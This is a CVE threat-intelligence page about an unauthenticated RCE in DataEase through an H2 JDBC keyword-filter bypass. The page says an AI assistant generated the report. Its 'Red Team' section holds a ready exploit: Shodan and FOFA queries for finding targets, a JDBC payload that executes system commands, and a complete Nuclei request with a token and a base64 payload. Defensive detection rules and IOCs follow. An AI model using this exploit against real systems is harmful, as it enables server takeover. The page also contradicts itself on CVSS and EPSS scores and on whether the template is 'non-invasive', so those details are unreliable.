☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-49002

CVE-2025-49002 is a critical security vulnerability in DataEase, an open-source business intelligence and data visualization platform.
📅 PUBLISHED: 2025-06-03 20:37 UTC 🔄 UPDATED: 2026-10-02 19:27 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 50.27%
👁️
50.27% probability
1000×+ above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-49002 is a critical security vulnerability in DataEase, an open-source business intelligence and data visualization platform. This vulnerability represents a bypass of the previous patch for CVE-2025-32966, which attempted to restrict dangerous H2 database JDBC keywords. The bypass is achieved through case-insensitive variations of the INIT and RUNSCRIPT keywords, allowing an attacker to execute arbitrary code on the server. The vulnerability has a high severity rating and a public proof-of-concept (PoC) is available via a Nuclei template. The vendor has released a fix in version 2.10.10.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

DataEase is a Java-based application distributed as a Docker image or via source code from GitHub. The vulnerability is introduced through the application's own code, not a third-party library. However, the exploitation relies on the H2 database engine, which is a dependency. The risk is primarily to the application's own deployment and data, not the broader supply chain.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low - No special conditions are required for exploitation.
  • Privileges Required (PR): None - No authentication is needed.
  • User Interaction (UI): None - No user action is required.
  • Scope (S): Unchanged - The exploit does not affect other components.
  • Confidentiality (C): High - Full system compromise, leading to data exfiltration.
  • Integrity (I): High - Full system compromise, allowing data modification.
  • Availability (A): High - Full system compromise, potentially leading to denial of service.

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution (RCE) with no user interaction, making it highly attractive to attackers.

Deep Dive & Mechanics

The vulnerability lies in the /de2api/datasource/getSchema endpoint, which is used to test and retrieve schema information for data sources. The application allows users to configure a JDBC connection to an H2 database. In the previous patch for CVE-2025-32966, the application attempted to block the use of the INIT and RUNSCRIPT keywords in the JDBC URL to prevent arbitrary code execution.

However, the patch was flawed because it performed a case-sensitive check. H2 database JDBC URLs are case-insensitive, meaning an attacker can bypass the filter by using variations such as init, Init, iNiT, or RUNSCRIPT, runscript, RunScript. The provided Nuclei template demonstrates this by using in\\it= and CREAT\\E in the base64-encoded configuration.

The exploitation flow is as follows:

  1. An attacker sends a POST request to /de2api/datasource/getSchema with a crafted JSON payload.
  2. The payload contains a configuration field that is a base64-encoded JSON object.
  3. This JSON object includes a jdbc field with a malicious H2 JDBC URL.
  4. The JDBC URL uses case-altered versions of INIT and RUNSCRIPT to execute arbitrary SQL, which in turn can execute system commands via H2's CREATE ALIAS feature.
  5. The server processes the request, connects to the H2 database (in-memory or file-based), and executes the malicious SQL, leading to RCE.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.10.10): The vulnerable code likely performs a simple string check for INIT and RUNSCRIPT without considering case sensitivity. For example:

if (jdbcUrl.contains("INIT") || jdbcUrl.contains("RUNSCRIPT")) {
    throw new SecurityException("Blocked keyword");
}

Patched Code (2.10.10): The patched code should perform a case-insensitive check. For example:

if (jdbcUrl.toUpperCase().contains("INIT") || jdbcUrl.toUpperCase().contains("RUNSCRIPT")) {
    throw new SecurityException("Blocked keyword");
}

Or use a regex with the CASE_INSENSITIVE flag.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A vulnerable DataEase instance (version < 2.10.10).
  • Network access to the /de2api/datasource/getSchema endpoint.

Exploitation Steps:

  1. Identify Target: Use Shodan or FOFA with the query app="FIT2CLOUD-DataEase" or http.html:"DataEase".
  2. Craft Payload: Use the provided Nuclei template or manually craft the request. The key is the base64-encoded configuration. The decoded configuration should contain a JDBC URL with case-altered keywords. For example:
    {
      "dataBase": "",
      "jdbc": "jdbc:h2:mem:test;in\\it=DROP ALIAS IF EXISTS EXEC\\;CREATE\\E ALIAS EXEC AS $$void exec() throws Exception {java.lang.String s = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next()\\;throw new java.lang.Exception(s)\\;}$$\\;CALL EXEC()\\;",
      "urlType": "jdbcUrl",
      "sshType": "password",
      "extraParams": "",
      "username": "123",
      " password": "123",
      "host": "",
      "authMethod": "",
      "port": 0,
      "initialPoolSize": 5,
      "minPoolSize": 5,
      "maxPoolSize": 5,
      "queryTimeout": 30
    }
    
    Note the use of in\\it and CREAT\\E to bypass the filter.
  3. Send Request: Send the POST request with the crafted payload.
  4. Receive Output: The response will contain the output of the executed command (e.g., uid=1000(dataease) gid=1000(dataease)).

Nuclei Template (Provided):

id: CVE-2025-49002

info:
  name: DataEase - Remote Code Execution
  author: WeQi
  severity: high
  description: |
    DataEase is an open-source business intelligence and data visualization platform. Public advisories state that CVE-2025-49002 is related to a bypass in the previous fix for CVE-2025-32966 involving case-insensitive handling of restricted H2 JDBC keywords. This template is a non-invasive detection template intended only to identify exposed DataEase instances and extract possible version hints for manual verification. It does not attempt authentication bypass, JDBC exploitation, or command execution.
  impact: |
    If the target is running an affected DataEase version, an attacker may exploit the vulnerable logic as part of a broader attack chain. Public exposure of the application increases risk.
  remediation: |
    Upgrade DataEase to 2.10.10 or later, restrict public access to management/API endpoints, and review whether vulnerable datasource-related interfaces are exposed.
  reference:
    - https://github.com/dataease/dataease/security/advisories/GHSA-999m-jv2p-5h34
    - https://nvd.nist.gov/vuln/detail/CVE-2025-49002
  classification:
    cve-id: CVE-2025-49002
    epss-score: 0.26173
    epss-percentile: 0.96315
    cwe-id: CWE-290
  metadata:
    verified: true
    max-request: 1
    vendor: fit2cloud
    product: dataease
    fofa-query: app="FIT2CLOUD-DataEase"
    shodan-query: http.html:"DataEase"
  tags: cve,cve2025,dataease,fit2cloud

http:
  - raw:
      - |
        POST /de2api/datasource/getSchema HTTP/1.1
        Host: {{Hostname}}
        X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8
        Content-Type: application/json

        {
          "id": "",
          "name": "11",
          "description": "",
          "type": "h2",
          "apiConfiguration": [],
          "paramsConfiguration": [],
          "enableDataFill": false,
          "configuration": "eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0O2luXFxpdD1EUk9QIEFMSUFTIElGIEVYSVNUUyBFWEVDXFw7Q1JFQVRcXEUgQUxJQVMgRVhFQyBBUyAkJHZvaWQgZXhlYygpIHRocm93cyBFeGNlcHRpb24ge2phdmEubGFuZy5TdHJpbmcgcyA9IG5ldyBqYXZhLnV0aWwuU2Nhbm5lcihqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhcImlkXCIpLmdldElucHV0U3RyZWFtKCkpLnVzZURlbGltaXRlcihcIlxcQVwiKS5uZXh0KClcXDt0aHJvdyBuZXcgamF2YS5sYW5nLkV4Y2VwdGlvbihzKVxcO30kJFxcO0NBTEwgRVhFQygpXFw7IiwidXJsVHlwZSI6ImpkYmNVcmwiLCJzc2hUeXBlIjoicGFzc3dvcmQiLCJleHRyYVBhcmFtcyI6IiIsInVzZXJuYW1lIjoiMTIzIiwiIHBhc3N3b3JkIjoiMTIzIiwiaG9zdCI6IiIsImF1dGhNZXRob2QiOiIiLCJwb3J0IjowLCJpbml0aWFsUG9vbFNpemUiOjUsIm1pblBvb2xTaXplIjo1LCJtYXhQb29sU2l6ZSI6NSwicXVlcnlUaW1lb3V0IjozMH0"
        }

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Exception calling", "exec():")'
          - 'contains(content_type, "application/json")'
          - 'regex("uid=[0-9]+.*gid=[0-9]+.*", body)'
          - 'status_code == 200'
        condition: and

Blue Team (Defensive)

Detection:

  • Monitor for POST requests to /de2api/datasource/getSchema with a Content-Type of application/json.
  • Inspect the configuration field in the request body. Decode the base64 content and look for JDBC URLs containing INIT, RUNSCRIPT, or their case variations.
  • Monitor for error messages in responses containing "Exception calling" and "exec():".
  • Look for outbound connections from the DataEase server to unexpected destinations (e.g., attacker-controlled C2).

Prevention:

  • Immediately upgrade to DataEase v2.10.10 or later.
  • If immediate patching is not possible, restrict network access to the /de2api/datasource/getSchema endpoint using a Web Application Firewall (WAF) or network ACLs.
  • Implement a reverse proxy to inspect and block requests containing base64-encoded JDBC URLs with suspicious keywords.
  • Disable the H2 datasource type if not required.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST requests to /de2api/datasource/getSchema with a base64-encoded configuration field.
    • Response bodies containing patterns like uid=[0-9]+.*gid=[0-9]+.* or Exception calling exec():.
    • Outbound connections from the DataEase server to unknown IP addresses on common ports (e.g., 80, 443, 8080).
  • File System IOCs:

    • Unexpected files created in the DataEase installation directory (e.g., /opt/dataease/).
    • Modified application logs showing errors related to H2 database connections.
  • Process IOCs:

    • Unusual child processes spawned by the Java application (e.g., id, whoami, curl, wget).

Detection Engineering

YARA Rule

rule CVE_2025_49002_DataEase_RCE {
    meta:
        description = "Detects base64-encoded JDBC URLs with case-altered INIT/RUNSCRIPT keywords"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49002"
        hash = "4a0a0047304502210085fdf9eafa03ca6e02e402a4dca63f6eddaf3d6928eaa7a0334c3cd8cea6584a0220354391ed43d1daf434f4bf73a8945ad4876866db4d155c0b50d192a6dce02174"
    strings:
        $base64_pattern = /[A-Za-z0-9+\/]{20,}={0,2}/
        $jdbc_init = /jdbc:h2:[^;]*;in[iI][tT]\s*=/ nocase
        $jdbc_runscript = /jdbc:h2:[^;]*;run[sS][cC][rR][iI][pP][tT]\s*=/ nocase
    condition:
        any of ($jdbc_init, $jdbc_runscript) and #base64_pattern > 0
}

Sigma Rule

title: DataEase CVE-2025-49002 RCE Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-49002 via POST requests to /de2api/datasource/getSchema
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-49002
    - https://github.com/dataease/dataease/security/advisories/GHSA-999m-jv2p-5h34
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/de2api/datasource/getSchema'
        sc-status: 200
        cs-content-type: 'application/json'
    condition: selection
falsepositives:
    - Legitimate use of the datasource testing feature
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49002 DataEase RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/de2api/datasource/getSchema"; http_uri; content:"application/json"; http_client_body; pcre:"/jdbc:h2:[^;]*;(in[iI][tT]|run[sS][cC][rR][iI][pP][tT])\s*=/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade DataEase to version 2.10.10 or later immediately.
  2. Isolate: If patching is delayed, isolate the affected server from the internet and restrict access to the management interface.
  3. WAF Rules: Deploy WAF rules to block POST requests to /de2api/datasource/getSchema with base64-encoded payloads containing H2 JDBC keywords.

Long-Term Measures:

  1. Input Validation: Implement strict input validation and sanitization for all JDBC URL parameters.
  2. Least Privilege: Run the DataEase application with the minimum necessary privileges.
  3. Network Segmentation: Place DataEase in a segmented network with strict egress controls.
  4. Monitoring: Continuously monitor for the IOCs listed above.
  5. Vulnerability Management: Subscribe to DataEase security advisories and apply patches promptly.

Valters IT signature: This report is generated by an AI assistant specialized in DevSecOps and Cyber Threat Intelligence. All information is based on publicly available data and should be verified before use.

{/* [Security Hash: F2F55B054C26145415C320C7] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-49002/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.